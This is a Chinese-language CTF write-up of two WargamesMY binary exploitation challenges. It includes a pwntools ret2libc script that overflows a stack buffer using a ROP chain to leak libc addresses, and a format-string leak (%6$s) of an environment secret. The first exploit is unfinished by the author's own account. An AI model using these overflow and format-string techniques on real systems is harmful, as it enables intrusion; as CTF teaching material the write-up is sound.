231216WargamesMY CTF

cvestone 发布于 2024-01-19 250 次阅读 1627 字 预计阅读时间: 7 分钟


pwn

Magic Door

考察点:

(1)查看程序保护
2023-12-20-22-02-28
开了nx保护,利用shellcode困难,且是amd64
(2)查看程序重定位表和导入表:
导入表记录着从外部导入的符号信息,导入表包含程序导入外部函数的.plt表项,重定位表包含外部函数对应的.got.plt表项
2023-12-20-22-18-28
(3)反编译分析:
main:

__int64 open_the_door()
{
  __int64 result; // rax
  char input[12]; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+Ch] [rbp-4h]

  initialize();
  puts("Welcome to the Magic Door !");
  printf("Which door would you like to open? ");
  __isoc99_scanf("%11s", input);
  getchar();
  if ( !strcmp(input, "50015") || (v2 = atoi(input), v2 != 50015) )
    result = no_door_foryou();
  else
    result = magic_door(50015LL);
  return result;
}

先获取第一次输入,我们目的是要让其执行第二个result,那么就要让strcmp()结果返回1,即输入不与50015相同,可是要使整个if条件为假,还要满足"||"后面部分为0,该部分使用了atoi函数将input字符串转换为整数并赋值给v2,最后判断v2是否等于50015,显然,我们要让v2=50015,综合整个条件,可知我们必须让input = 50015fsljf,即前面是50015后面随便加任意字符串。
执行程序来验证输入:
2023-12-20-21-15-50
接着跟进到下一个函数:
magic_door:

char *magic_door()
{
  char input2[8]; // [rsp+10h] [rbp-40h] BYREF
  __int64 v2; // [rsp+18h] [rbp-38h]
  __int64 v3; // [rsp+20h] [rbp-30h]
  __int64 v4; // [rsp+28h] [rbp-28h]
  __int64 v5; // [rsp+30h] [rbp-20h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  __int64 v7; // [rsp+40h] [rbp-10h]
  __int64 v8; // [rsp+48h] [rbp-8h]

  *(_QWORD *)input2 = 0LL;
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  puts("Congratulations! You opened the magic door!");
  puts("Where would you like to go? ");
  return fgets(input2, 256, stdin);
}

这里就是简单的获取输入,没有什么逻辑判断,因此这里的padding最好判断,点input2跟进它在栈中的位置或者用cyclic都可以,得出结果相同:
2023-12-20-21-57-19
可知从input2到覆盖返回地址的偏移为0x48
2023-12-20-21-59-50
十进制72刚好就是0x48

(4)动态调试:
由于我们的目的是要getshell,需要调用system函数,但是程序中没有找到,那就试着ret2libc,且是amd64程序,可能需要用到ROP

# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug',arch='amd64',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './magic_door' # pwn程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('8.134.95.127',7778 ) # 打远程则开启这个并注释掉前两个
elf = ELF('./magic_door')

del1 = b'open?'
x = b'50015a'

io.sendlineafter(del1,x) 

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
# printf_plt = elf.got['printf']
# printf_got = elf.got['printf']
magic_door = elf.symbols['magic_door']
padding = 0x48 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
pop_rdi_ret = 0x401434
ret = 0x401388

del2 = b'go?'
# 泄漏出libc的puts函数加载地址
payload1 = padding * b'a' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(magic_door)
# pwndbg附加调试
# gdb.attach(io)
# pause()
io.sendlineafter(del2,payload1) # 接收到对应最后的字符后才发送我们的payload

output = io.recvuntil('\n')
leaked_address = output[:8]
address_value = u64(leaked_address)
print("Leaked address: 0x{:x}".format(address_value))
# print(hex(leak_puts))  # 输出泄漏的地址

io.interactive() # 打通后获得一个交互式shell

(待续)遇到问题:输出puts的泄漏地址不成功

pakmatburger

考察点:

(1)查看程序保护
2023-12-22-14-47-13
保护全开,问题就有些棘手了
(2)查看程序重定位表和导入表
2023-12-22-15-49-18
2023-12-22-15-50-06
(3)反编译分析
main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  const char *s2; // [rsp+0h] [rbp-40h]
  char s1[9]; // [rsp+Ah] [rbp-36h] BYREF //0x3e、62
  char s[10]; // [rsp+13h] [rbp-2Dh] BYREF
  char format[12]; // [rsp+1Dh] [rbp-23h] BYREF //0x2b、43
  char v8[15]; // [rsp+29h] [rbp-17h] BYREF
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  initialize();
  s2 = getenv("SECRET_MESSAGE");
  if ( s2 )
  {
    puts("Welcome to Pak Mat Burger!");
    printf("Please enter your name: ");
    __isoc99_scanf("%11s", format);
    printf("Hi ");
    printf(format);
    printf(", to order a burger, enter the secret message: ");
    __isoc99_scanf("%8s", s1);
    if ( !strcmp(s1, s2) )
    {
      puts("Great! What type of burger would you like to order? ");
      __isoc99_scanf("%14s", v8);
      getchar();
      printf("Please provide your phone number, we will delivered soon: ");
      result = (unsigned int)fgets(s, 100, stdin);
    }
    else
    {
      puts("Sorry, the secret message is incorrect. Exiting...");
      result = 0;
    }
  }
  else
  {
    puts("Error: SECRET_MESSAGE environment variable not set. Exiting...");
    result = 1;
  }
  return result;
}

首先判断SECRET_MESSAGE是否存在,不存在则提示并退出程序,因此在本地调试之前可以设置为任意值,因为只需要该值存在,如果是在远程就不需要,部署环境时已设置正确的值。当前shell中输入命令:

export SECRET_MESSAGE=hello

接着第一个输入获取是名字,注意到这里用的scanf函数,并且存在格式化字符串,可能可以利用格式化字符串漏洞,然后输出我们的输入,接着要我们输入secret message,作为变量s1,注意到下面用strcmp函数对最初设置的环境变量s2和现在的s1做比较,当两者相等返回0才满足if条件为真,显然只要输入hello就可以,但问题是如果是远程的环境,我们并不知道环境变量SECRET_MESSAGE的值,所以我们可以尝试利用格式化字符串漏洞来泄漏出这个值。(待续)

在程序中我们还找到了由程序本身定义的secret_order函数(而不是调用libc的):

int secret_order()
{
  return system("cat ./flag.txt");
}

噢!这个函数直接调用了system函数获取flag,之后一定能派上用场!

(4)动态调试:
首先给第一次的scanf函数下一个断点,便于每次测试,先尝试几次看看能不能泄漏,从$1开始:
2024-01-19-11-56-39
2024-01-19-11-57-19
显然,由于这是x64程序,在第二次printf执行之前,我们的格式化字符串输入%1$p作为第一个参数存储在寄存器rdi,而%1$p泄漏的地址就是该参数后的下一个参数位置,这是由格式化输出函数的特性决定的,随着格式化字符串的递增,就是泄漏rsirdxrcxr8r9、栈rsp...噢就像个无底洞,总之几乎所有都可以泄漏。

泄漏SECRET_MESSAGE

经过验证发现,当我们最终输入%6$p时,就指向了rsp,其内存中存储的数据正好就是最初设置的SECRET_MESSAGE!!我们还可以用%6$s进行验证:
2024-01-19-12-13-08
2024-01-19-12-13-49
显然我们就可以通过%6$s来泄漏出远程环境变量的真正值:
2024-01-19-12-15-45
我们是对的,注意这里是比赛后给的Dockerfile搭建环境后复现的,环境和比赛时是一样的,所以不必纠结

  • alipay_img
  • wechat_img
此作者没有提供个人介绍
最后更新于 2024-01-19